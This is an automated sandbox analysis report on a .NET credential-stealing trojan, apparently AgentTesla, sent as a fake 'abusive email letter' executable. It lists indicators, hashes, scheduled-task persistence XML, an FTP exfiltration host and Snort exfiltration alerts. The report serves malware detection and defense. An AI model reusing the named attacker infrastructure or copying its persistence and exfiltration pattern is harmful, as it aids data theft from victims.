Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Following abusive email letter .exe	32%	Virustotal		Browse
Following abusive email letter .exe	33%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\VUGIHQGciwlxDd.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File
4.0.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8		Download File

Domains

Source	Detection	Scanner	Label	Link
us-east-1.route-1000.000webhost.awex.io	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://CqZTYA.com	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://JC95xwwqEnXy3nGe.net	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://JC95xwwqEnXy3nGe.netL	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
http://us-east-1.route-1000.000webhost.awex.io	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
us-east-1.route-1000.000webhost.awex.io	145.14.145.177	true	true	1%, Virustotal, Browse	unknown
files.000webhost.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://CqZTYA.com	RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://JC95xwwqEnXy3nGe.net	RegSvcs.exe, 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNS	RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://JC95xwwqEnXy3nGe.netL	RegSvcs.exe, 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://files.000webhost.com	RegSvcs.exe, 00000004.00000002.469009805.0000000003111000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Following abusive email letter .exe, 00000000.00000002.211148958.00000000030C1000.00000004.00000001.sdmp, RegSvcs.exe, 00000004.00000002.468959194.0000000003103000.00000004.00000001.sdmp	false		high
http://us-east-1.route-1000.000webhost.awex.io	RegSvcs.exe, 00000004.00000002.469009805.0000000003111000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	Following abusive email letter .exe, 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, RegSvcs.exe, 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
ftp://files.000webhost.com/zincocomputer147STORLengthWriteCloseGetBytesOpera	RegSvcs.exe, 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
145.14.145.177	us-east-1.route-1000.000webhost.awex.io	Netherlands		204915	AWEXUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	433262
Start date:	11.06.2021
Start time:	14:57:20
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Following abusive email letter .exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/4@2/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 1% (good quality ratio 0.6%) Quality average: 44.9% Quality standard deviation: 42.2%
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 52.147.198.201, 20.50.102.62, 184.30.20.56, 20.54.26.129, 2.20.142.210, 2.20.142.209, 92.122.213.247, 92.122.213.194, 20.82.210.154 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, fs.microsoft.com, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:58:09	API Interceptor	1x Sleep call for process: Following abusive email letter .exe modified
14:58:20	API Interceptor	759x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
145.14.145.177	Scan copy of said documents.exe	Get hash	malicious	Browse
	Additional documents.exe	Get hash	malicious	Browse
	Enclosed the following documents as requested.exe	Get hash	malicious	Browse
	Complaint Lodged Against Your Company .exe	Get hash	malicious	Browse
	DOCUMENTS.exe	Get hash	malicious	Browse
	documents and Details.exe	Get hash	malicious	Browse
	oLHQIQAI3N.exe	Get hash	malicious	Browse
	oLHQIQAI3N.exe	Get hash	malicious	Browse
	hoTA52pXM4.doc	Get hash	malicious	Browse
	hoTA52pXM4.doc	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
us-east-1.route-1000.000webhost.awex.io	All Details.exe	Get hash	malicious	Browse	145.14.144.54
	All the Documents and Details.exe	Get hash	malicious	Browse	145.14.145.180
	Additional documents required.pdf.exe	Get hash	malicious	Browse	145.14.145.180
	Kabyria El Arab-14326587.exe	Get hash	malicious	Browse	145.14.145.180
	Kabyria El Arab-14326587.exe	Get hash	malicious	Browse	145.14.144.209
	FedEx Receipt with Reference Code.exe	Get hash	malicious	Browse	145.14.144.209
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.144.209
	Abusive email letter from your account.exe	Get hash	malicious	Browse	145.14.145.180
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.145.177
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.144.149
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.144.209
	Additional documents.exe	Get hash	malicious	Browse	145.14.145.177
	Additional documents.exe	Get hash	malicious	Browse	145.14.145.180
	Complaint lodged against your company..exe	Get hash	malicious	Browse	145.14.145.180
	Enclosed the following documents as requested.exe	Get hash	malicious	Browse	145.14.145.177
	Complaint Lodged Against Your Company .exe	Get hash	malicious	Browse	145.14.145.177
	All details.exe	Get hash	malicious	Browse	145.14.144.54
	All details.exe	Get hash	malicious	Browse	145.14.144.54
	Urgent Attention Required.exe	Get hash	malicious	Browse	145.14.144.209
	DOCUMENTS.exe	Get hash	malicious	Browse	145.14.145.177

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AWEXUS	WcHO1ZGiIn.exe	Get hash	malicious	Browse	145.14.145.185
	All Details.exe	Get hash	malicious	Browse	145.14.144.54
	All the Documents and Details.exe	Get hash	malicious	Browse	145.14.145.180
	PURCHASE ORDER.exe	Get hash	malicious	Browse	145.14.144.45
	01_extracted.exe	Get hash	malicious	Browse	145.14.144.111
	Additional documents required.pdf.exe	Get hash	malicious	Browse	145.14.145.180
	Kabyria El Arab-14326587.exe	Get hash	malicious	Browse	145.14.145.180
	Kabyria El Arab-14326587.exe	Get hash	malicious	Browse	145.14.144.209
	FedEx Receipt with Reference Code.exe	Get hash	malicious	Browse	145.14.144.209
	OyVPRUTe0s.exe	Get hash	malicious	Browse	145.14.144.197
	hfrEZuBd5B.exe	Get hash	malicious	Browse	145.14.144.156
	1Z4191ecDy.exe	Get hash	malicious	Browse	145.14.144.12
	j6RwLGBzlz.exe	Get hash	malicious	Browse	145.14.144.66
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.144.209
	A018379D343600DAB5B728E46D2EE4E12D3853837FCF1.exe	Get hash	malicious	Browse	145.14.144.210
	Abusive email letter from your account.exe	Get hash	malicious	Browse	145.14.145.180
	sample products 1,2,&,4.exe	Get hash	malicious	Browse	145.14.144.32
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.145.177
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.144.149
	Scan copy of said documents.exe	Get hash	malicious	Browse	145.14.144.209

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Following abusive email letter .exe.log Download File
Process:	C:\Users\user\Desktop\Following abusive email letter .exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1314
Entropy (8bit):	5.350128552078965
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR
MD5:	1DC1A2DCC9EFAA84EABF4F6D6066565B
SHA1:	B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9
SHA-256:	28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF
SHA-512:	95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802B7
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Local\Temp\tmp1045.tmp Download File
Process:	C:\Users\user\Desktop\Following abusive email letter .exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1647
Entropy (8bit):	5.199714843668102
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBvPLtn:cbh47TlNQ//rydbz9I3YODOLNdq3lPJ
MD5:	DCC43E257CB9BECF598E74F756FEF25E
SHA1:	D67330DB63650FCC9E8CA22EB86EC36CADCBA9B4
SHA-256:	25951389412CFCBAE77EDB8D3F93419A40BECA0DD71A0C56C76977CCBDF87B48
SHA-512:	AD1F23F8DEE31B16537CE51871BAFF9E011A0D072E50262BEA812B0AE2A5F5E82BA362907981D09738F689BDED856066F0FDD3B09D0DE8AE06F459DCA22E4D5E
Malicious:	true
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Roaming\VUGIHQGciwlxDd.exe Download File
Process:	C:\Users\user\Desktop\Following abusive email letter .exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	953856
Entropy (8bit):	7.511931897413592
Encrypted:	false
SSDEEP:	12288:p12L4ovYmfBgM/npoaxFKgasrOe+Gcr1xs+j4JQ0DXUYNZM4e/ZUdtbV:pMpX3asL/EzsC4jLUgNeBUdtR
MD5:	368A0EC11590E137B1CD5405CD0591DB
SHA1:	48C11CB189D44AE0C30B32F0ABA41D4C52568C44
SHA-256:	C0B43D27C73D2A64F25A1E095A10DCF339635D9C48C6D612B37EBA084341E103
SHA-512:	57DBF150965546D99F1A076AF014E6B586323ED139DD4730D5A917174E159377F4AA97A674CCA65BBDA2B04C7A76454B9F0D6418E0A5F0ED5D90F9B4EDF62AC4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`............................n.... ... ....@.. ....................... ............@................................. ...K....@............................................................................... ............... ..H............text...t.... ...................... ..`.sdata....... ......................@....rsrc........@......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VUGIHQGciwlxDd.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Following abusive email letter .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.511931897413592
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	Following abusive email letter .exe
File size:	953856
MD5:	368a0ec11590e137b1cd5405cd0591db
SHA1:	48c11cb189d44ae0c30b32f0aba41d4c52568c44
SHA256:	c0b43d27c73d2a64f25a1e095a10dcf339635d9c48c6d612b37eba084341e103
SHA512:	57dbf150965546d99f1a076af014e6b586323ed139dd4730d5a917174e159377f4aa97a674cca65bbda2b04c7a76454b9f0d6418e0a5f0ed5d90f9b4edf62ac4
SSDEEP:	12288:p12L4ovYmfBgM/npoaxFKgasrOe+Gcr1xs+j4JQ0DXUYNZM4e/ZUdtbV:pMpX3asL/EzsC4jLUgNeBUdtR
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`............................n.... ... ....@.. ....................... ............@................................

File Icon


Icon Hash:	8c8caa8e9692aa00

Static PE Info

General
Entrypoint:	0x4c006e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60C2968F [Thu Jun 10 22:47:43 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
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Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc0020	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x2a3a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xbffd2	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbe074	0xbe200	False	0.896723218688	data	7.85847754402	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.sdata	0xc2000	0x1e8	0x200	False	0.861328125	data	6.63003510345	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xc4000	0x2a3a0	0x2a400	False	0.124375924556	data	4.17209019153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf0000	0xc	0x200	False	0.041015625	data	0.0776331623432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xc42b0	0x2326	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0xc65d8	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0xd6e00	0x94a8	data
RT_ICON	0xe02a8	0x5488	data
RT_ICON	0xe5730	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 4294967295, next used block 4294967295
RT_ICON	0xe9958	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0xebf00	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0xecfa8	0x988	data
RT_ICON	0xed930	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0xedd98	0x84	data
RT_VERSION	0xede1c	0x398	data
RT_MANIFEST	0xee1b4	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Paul Harris 2016
Assembly Version	251.2.0.0
InternalName	OpenExistingResult.exe
FileVersion	251.2.0.0
CompanyName	Paul Harris
LegalTrademarks
Comments	1992 Alpine A 610
ProductName	ReloadManager
ProductVersion	251.2.0.0
FileDescription	ReloadManager
OriginalFilename	OpenExistingResult.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/11/21-14:59:47.080868	TCP	2029927	ET TROJAN AgentTesla Exfil via FTP	49741	21	192.168.2.3	145.14.145.177
06/11/21-14:59:47.240610	TCP	2029928	ET TROJAN AgentTesla HTML System Info Report Exfil via FTP	49742	30339	192.168.2.3	145.14.145.177

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 11, 2021 14:59:45.367415905 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:45.522007942 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:45.522905111 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:45.692617893 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:45.693629980 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:45.849685907 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.013902903 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.014364004 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:46.169060946 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.291543007 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.291822910 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:46.448378086 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.448662996 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.449168921 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:46.604037046 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.604501963 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:46.759372950 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.759576082 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:46.916337967 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:46.921998024 CEST	49742	30339	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:46.965778112 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.080533981 CEST	30339	49742	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:47.080650091 CEST	49742	30339	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.080868006 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.235999107 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:47.240609884 CEST	49742	30339	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.241487980 CEST	49742	30339	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.278336048 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.395955086 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:47.398730040 CEST	30339	49742	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:47.399564981 CEST	30339	49742	145.14.145.177	192.168.2.3
Jun 11, 2021 14:59:47.399647951 CEST	49742	30339	192.168.2.3	145.14.145.177
Jun 11, 2021 14:59:47.450216055 CEST	49741	21	192.168.2.3	145.14.145.177
Jun 11, 2021 15:00:17.597672939 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 15:00:17.597696066 CEST	21	49741	145.14.145.177	192.168.2.3
Jun 11, 2021 15:00:17.597767115 CEST	49741	21	192.168.2.3	145.14.145.177

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 11, 2021 14:58:00.848977089 CEST	64938	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:00.901431084 CEST	53	64938	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:02.214365005 CEST	60152	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:02.267451048 CEST	53	60152	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:03.133934975 CEST	57544	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:03.185378075 CEST	53	57544	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:04.132235050 CEST	55984	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:04.184144020 CEST	53	55984	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:05.016041040 CEST	64185	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:05.066240072 CEST	53	64185	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:05.958273888 CEST	65110	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:06.011267900 CEST	53	65110	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:06.785180092 CEST	58361	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:06.837188959 CEST	53	58361	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:07.865432024 CEST	63492	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:07.918978930 CEST	53	63492	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:08.933995008 CEST	60831	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:08.987077951 CEST	53	60831	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:12.021681070 CEST	60100	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:12.074774027 CEST	53	60100	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:13.068713903 CEST	53195	53	192.168.2.3	8.8.8.8
Jun 11, 2021 14:58:13.118885994 CEST	53	53195	8.8.8.8	192.168.2.3
Jun 11, 2021 14:58:14.029623032 CEST	50141	53	192.168.2.3	8.8.8.8
